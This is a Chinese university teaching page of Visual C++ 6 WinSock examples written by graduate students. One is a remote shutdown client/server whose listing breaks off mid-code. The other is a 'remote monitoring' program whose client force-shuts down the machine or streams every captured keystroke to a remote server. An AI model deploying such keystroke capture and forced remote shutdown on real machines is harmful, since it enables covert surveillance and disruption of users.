计算机研究生开放研究
《网络远程监控的VC++6编程示例》
美国GeneChiu基金资助
网络远程监控的VC++6编程示例
1 远程关机 编程:研究生 吴勇
这是一个可作服务器也可作客户的使用WinSock进行网络远程关机的VC++6程序:
#include "afxwin.h" //使用MFC的字符串类CSting
#include "winsock.h"
#pragma comment(lib, "wsock32")
#include
#include "assert.h"
#include "iostream.h"
CString m_strServer;
UINT m_nPort;
CString m_strUser;
CString m_strPass;
SOCKET m_hSocket;
SOCKADDR_IN m_addr;
void StartUp();
void CleanUp();
void OnOK();
void SendToServer();
void RecvFromServer();
void StartUpS();
void CreateSocket();
void BindSocket();
void Listen_Recv();
void CleanUpS();
int p=0;
char buff[100];
char buff1[100];
int strlen(char str[]);
char b[100];
char ip[100];
int an=0;
void main(){
cout<<"请输入1.开启服务器,输入2.运行客户端:";
cin>>an;
if (an==2)
{
cout<<"请输入服务器IP:";
cin>>ip;
m_strServer = ip;
m_nPort = 2350;
StartUp();
char cc;
do{
OnOK();
cout<<"已经与服务器连接成功,向服务器发送数据\n";
cout<<"请输入 G 关机:";
cin>>b;
m_strUser =b;
SendToServer();
cout<<"发送成功";
RecvFromServer();
cout<<"\n本次通信完成;再来吗(y/n)\n";cin>>cc;
}while (cc != 'n');
CleanUp();
}
if(an==1)
{
StartUpS();
CreateSocket();
BindSocket();
Listen_Recv();
CleanUpS();
}
}
void OnOK()
{
if(m_hSocket != NULL){
closesocket(m_hSocket);
m_hSocket = NULL;
}
if(m_hSocket == NULL){
m_hSocket = socket(AF_INET, SOCK_STREAM,0);
assert(m_hSocket != NULL);
}
m_addr.sin_family = AF_INET;
m_addr.sin_addr.S_un.S_addr = inet_addr(m_strServer.GetBuffer(0));
m_addr.sin_port = htons(m_nPort);
int ret = 0;
int error = 0;
ret = connect(m_hSocket, (LPSOCKADDR)&m_addr, sizeof(m_addr));
if(ret == SOCKET_ERROR){
TRACE("Connect Error: %d \n", (error = WSAGetLastError()));
if(error == 10061)
AfxMessageBox(_T("请确认服务器确实已经打开并工作在同样的端口!"));
return ;
}
}
void SendToServer(){
CString str;
str += m_strUser;
int ret = send(m_hSocket, str, str.GetLength(), 0);
if(ret != str.GetLength()){
TRACE("Send data error: %d\n", WSAGetLastError());
return ;
}
}
void RecvFromServer(){
int ret = recv(m_hSocket, buff1,100, 0);
if(ret == 0){
TRACE("Recv data error: %d\n", WSAGetLastError());
return ;
}
// buff1[ret] = '\0';
// cout<
2 远程监控程序 编程:研究生 唐郑熠
这个个远程监控程序,以命令行“ldc -s”运行时,是作为服务器运行;
以命令行“ldc –c IP”(IP为服务器IP地址)运行时,是作为客户端运行。
服务器向客户端发送指令“A”或“B”,若发送指令A,则客户端控制计算机自动关机;
若发送指令B,则将计算机所有的击键记录下来发送给服务器。
其中,ASCII值为32~128的可见ASCII字符直接输出,
其它的不可见ASCII字符以“(%d)”的形式输出,即括号加上该字符的ASCII值。
#include "afxwin.h"
#include "iostream.h"
#include "assert.h"
#include "winsock.h"
#include "stdio.h"
#include "conio.h"
#include "windows.h"
#pragma comment(lib, "wsock32") //编译连接时使用静态连接库wsock32.lib
UINT m_nPort; //服务器端口号--16位整数
SOCKET m_hSocket; //服务器进程套接字类
SOCKADDR_IN m_addr; //套接字地址结构
CString m_strServer; //服务器IP地址
//SOCKET m_hSocket; //服务器进程套接字类
//SOCKADDR_IN m_addr; //套接字地址结构
char cmd;
void StartUp(); //初始化Winsock的函数:启动Winsock
void CreateSocket(); //使用socket函数建立服务器进程的流(TCP)套接字
void BindSocket(); //使用bind函数绑定IP地址到套接字,使网络上可识别该套接字
void Listen_Recv(); //将套接字置入监听模式并准备接受连接进行通信
void CleanUp(); //终止对Winsock DLL的使用,释放资源
void OnOK(); //建立TCP通信套接字并与服务器连接
//void SendToServer(); //向服务器发送数据
//void RecvFromServer(); //向服务器发送数据
void server();
void client();
void shutDown();
//从str的头一个字符往后检查,直到字符'\0'(其值为0)为止,即返回字符串str字符'\0'前的长
int strlen(char str[]);
int main(int argc, char *argv[]) {
if( argc == 3 ) {
if( !strcmp( argv[1], "-c") ) {
m_nPort = 2350;
m_strServer = argv[2];
client();
}
}
else if ( argc > 3 ){// invalid args.
puts("For server: \n\tusage: echocs [-d]\nFor client:\n\tusage: echocs -c host\n");
return 1;
}
else {
m_nPort = 2350;
server();
}
return 0;
}
void server() {
printf("2007级唐郑熠—远程控制服务器\n\n");
/**
1 应用程序初始化:注册wsock.dll
**/
StartUp();
/**
2 使用socket函数建立服务器进程的流(TCP)套接字:
**/
CreateSocket();
/**
3 使用bind函数绑定IP地址到套接字,使网络上可识别该套接字,bind原型为
int bind(SOCKET s, const struct sockaddr* name, int namelen)
其中:s为等待连接的未绑定套接字,name为套接字地址结构,更为有用的是
SOCKADDR_IN,用来标识TCP/IP协议下的地址,这时通过强制类型转换可将
SOCKADDR_IN结构转换为sockaddr结构
**/
BindSocket();
//UpdateData();//更新用户在编辑框里对端口的改变,MFC对话框用
/**
4 将套接字置入监听模式并准备接受连接进行通信:bind只是将套接字与地址关联在一起;
而使套接字进入等候连接则由函数listen完成,listen的原型为:
**/
Listen_Recv();
/**
5 关闭套接字,终止对Winsock DLL的使用,释放资源
**/
CleanUp();
}
//初始化Winsock的函数:启动Winsock
void StartUp()
{
//初始化全局变量
m_nPort = 2350;
m_hSocket = NULL;
//初始化winsock
WSADATA wsaData;
WORD version = MAKEWORD(2, 0); //
//调用WSAStartup函数对Winsock DLL进行初始化,协商Winsock版本,分配资源
int ret = WSAStartup(version, &wsaData);
if(ret != 0)cout<<"初始化错误!\n";
}
void CreateSocket() {
//先关闭已经建立的套接字
if(m_hSocket != NULL){
closesocket(m_hSocket);
m_hSocket = NULL;
}
//用socket(构造)函数建立流类型(TCP)套接字
if(m_hSocket == NULL){
m_hSocket = socket(AF_INET, SOCK_STREAM,0);
assert(m_hSocket != NULL); //C语言函数,进行判断,若不真,则做出错处理
}
}
void BindSocket(){
//给服务器结构地址m_addr赋值:
m_addr.sin_family = AF_INET; //表示该socket处于Internet域
m_addr.sin_port = htons(m_nPort); //指定服务端口
//sin_addr把一个IP地址保存为4字节的无符号整数,
m_addr.sin_addr.S_un.S_addr = INADDR_ANY; //本机测试时可用,即127.0.0.1
//若使用实际IP地址,可用函数inet_addr将其转换为4字节的无符号整数
// m_addr.sin_addr.S_un.S_addr=inet_addr("210.40.7.131");
int error = 0;
int ret = bind(m_hSocket, (LPSOCKADDR)&m_addr, sizeof(m_addr));
if(ret == SOCKET_ERROR){
cout<<"Bind Error!\n";//, (error = WSAGetLastError()));
return ;
}
}
void Listen_Recv(){
//cout<<"请按一键开始运行服务器";
//char cc;cin>>cc;
//while(1){//服务器永远循环服务
//侦听
int ret = listen(m_hSocket, 2);
if(ret == SOCKET_ERROR){
cout<<"Listen Error: %d \n";//, (error = WSAGetLastError()));
return ;
}
//
SOCKET s = accept(m_hSocket, NULL, NULL);
if(s == SOCKET_ERROR){
cout<<"Accept Error: %d \n";//, (error = WSAGetLastError()));
return ;
}
//cout<<"客户连接成功!\n";
//接受客户数据
char buff[1];
ret = recv(s, buff, 1, 0);
if(ret == 0 || ret == SOCKET_ERROR ){
cout<<"Recv data error: %d\n";//, WSAGetLastError());
return ;
}
printf("请选择 A.远程关机 B.远程监控键盘:");
scanf("%c", &buff[0]);
cmd = buff[0];
ret = send(s, buff, 1, 0);
if (cmd == 'B' || cmd == 'b') {
printf("监听到的内容:\n");
while (1) {
//侦听
int ret = listen(m_hSocket, 2);
if(ret == SOCKET_ERROR){
cout<<"Listen Error: %d \n";//, (error = WSAGetLastError()));
return ;
}
//
SOCKET s = accept(m_hSocket, NULL, NULL);
if(s == SOCKET_ERROR){
cout<<"Accept Error: %d \n";//, (error = WSAGetLastError()));
return ;
}
//cout<<"客户连接成功!\n";
//接受客户数据
char buff[1];
ret = recv(s, buff, 1, 0);
if(ret == 0 || ret == SOCKET_ERROR ){
cout<<"Recv data error: %d\n";//, WSAGetLastError());
return ;
}
int cnt = 0;
if (buff[0] >= 32 && buff[0] <= 128) {
printf("%c", buff[0]);
cnt++;
}
else {
if (buff[0] == 13) {
printf("\n");
}
else {
printf("(%d)", buff[0]);
}
cnt++;
}
}
}
/**
4 处理客户消息
**/
///** 回声服务:向客户返回消息(20个字节)
//ret = send(s, buff, 20, 0);
//**/
//
//cout<<"处理完成;服务器重新等待客户连接!\n";
//}
}
//应用程序关闭套接字后,终止对Winsock DLL的使用,释放资源
void CleanUp()
{
if (WSACleanup() != 0){
cout<<"UnInitilize Error:%d\n";//, WSAGetLastError());
}
}
void client(){
// m_strServer = "127.0.0.1"; //_T("127.0.0.1");
// m_nPort = 2350;
// m_strUser = "贵大";//ware";
// m_strPass = "Guizhou Univ";
printf("2007级唐郑熠—远程控制客户端\n\n");
StartUp(); //初始化Winsock的函数:启动Winsock
char cc;
char buff[1];
OnOK();//建立通信套接字
//cout<<"已经与服务器连接成功,向服务器发送数据\n";
int ret = send(m_hSocket, buff, 1, 0);
if(ret != 1){
TRACE("Send data error: %d\n", WSAGetLastError());
// cout<<"Send data error: %d\n";//, WSAGetLastError());
return ;
}
ret = recv(m_hSocket, buff, 1, 0);
if(ret == 0){
TRACE("Recv data error: %d\n", WSAGetLastError());
// cout<<"Recv data error: %d\n";//, WSAGetLastError());
return ;
}
cmd = buff[0];
if (cmd == 'A' || cmd == 'a') {
shutDown();
}
else {
char ch;
while(1) {
if (kbhit()) {
OnOK();//建立通信套接字
ch = getch();
buff[0] = ch;
int ret = send(m_hSocket, buff, 1, 0);
if(ret != 1) {
TRACE("Send data error: %d\n", WSAGetLastError());
// cout<<"Send data error: %d\n";//, WSAGetLastError());
return ;
}
}
}
}
/*SendToServer();//向服务器发送数据
cout<<"发送成功,服务器返回数据:\n\n";
RecvFromServer();//从服务器接收数据*/
//cout<<"\n本次通信完成;再来吗(y/n)\n";cin>>cc;
CleanUp(); //终止对Winsock DLL的使用,释放资源
}
//调用socket建立TCP通信套接字并与服务器连接
void OnOK()
{
//调用socket建立TCP通信套接字
if(m_hSocket != NULL){
closesocket(m_hSocket);
m_hSocket = NULL;
}
if(m_hSocket == NULL){
m_hSocket = socket(AF_INET, SOCK_STREAM,0);
assert(m_hSocket != NULL);
}
//UpdateData();
//给套接字地址结构赋值
m_addr.sin_family = AF_INET;
m_addr.sin_addr.S_un.S_addr = inet_addr(m_strServer.GetBuffer(0));
m_addr.sin_port = htons(m_nPort);
int ret = 0;//
int error = 0;
//用connect建立连接,连接成功,返回0,否则返回SOCKET_ERROR
ret = connect(m_hSocket, (LPSOCKADDR)&m_addr, sizeof(m_addr));
if(ret == SOCKET_ERROR){//出错处理
TRACE("Connect Error: %d \n", (error = WSAGetLastError()));
// cout<<"Connect Error!\n";//, (error = WSAGetLastError()));
if(error == 10061)
// AfxMessageBox(_T("请确认服务器确实已经打开并工作在同样的端口!"));
cout<<"请确认服务器确实已经打开并工作在同样的端口!\n";
return ;
}
}
/*void SendToServer(){
//
CString str;
str += m_strUser;
str += m_strPass;
//发送数据,如成功,返回发送的字节数
int ret = send(m_hSocket, str, str.GetLength(), 0);
if(ret != str.GetLength()){
TRACE("Send data error: %d\n", WSAGetLastError());
// cout<<"Send data error: %d\n";//, WSAGetLastError());
return ;
}
}*/
/*
void RecvFromServer(){
char buff[256];
/** 接受数据recv函数的返回值:
如无错误,返回接到的字节数(bytes received)
如连接已关闭,返回0
要不然,返回出错处理值:SOCKET_ERROR
**/
/* int ret = recv(m_hSocket, buff, 256, 0);
if(ret == 0){
TRACE("Recv data error: %d\n", WSAGetLastError());
// cout<<"Recv data error: %d\n";//, WSAGetLastError());
return ;
}
buff[ret] = '\0';//ASCII值为0的字符:'\0'
cout<<buff<<endl;//显示服务器送回数据
//AfxMessageBox(buff);
}*/
//应用程序关闭套接字后,终止对Winsock DLL的使用,释放资源
/*void CleanUp()
{
if (WSACleanup() != 0){
TRACE("UnInitilize Error:%d\n", WSAGetLastError());
// cout<<"UnInitilize Error:%d\n";//, WSAGetLastError());
}
}*/
//从str的头一个字符往后检查,直到字符'\0'(其值为0)为止,即返回字符串str字符'\0'前的长
int strlen(char str[]){
int i=0;
while(str[i])i++;
return i;
}
void shutDown() {
TOKEN_PRIVILEGES tkp, tkpnewbutignored;
HANDLE hdltokenhandle;
LUID tmpluid;
BOOL rc;
DWORD lbufferneeded;
HANDLE hdlprocesshandle = GetCurrentProcess();
rc = OpenProcessToken(hdlprocesshandle, TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hdltokenhandle);
rc = LookupPrivilegeValue("", "SeShutdownPrivilege", &tmpluid);
tkp.PrivilegeCount = 1;
tkp.Privileges[0].Luid = tmpluid;
tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
rc = AdjustTokenPrivileges(hdltokenhandle, FALSE, &tkp, sizeof(tkpnewbutignored), &tkpnewbutignored, &lbufferneeded);
ExitWindowsEx(EWX_SHUTDOWN|EWX_FORCE, 0);
}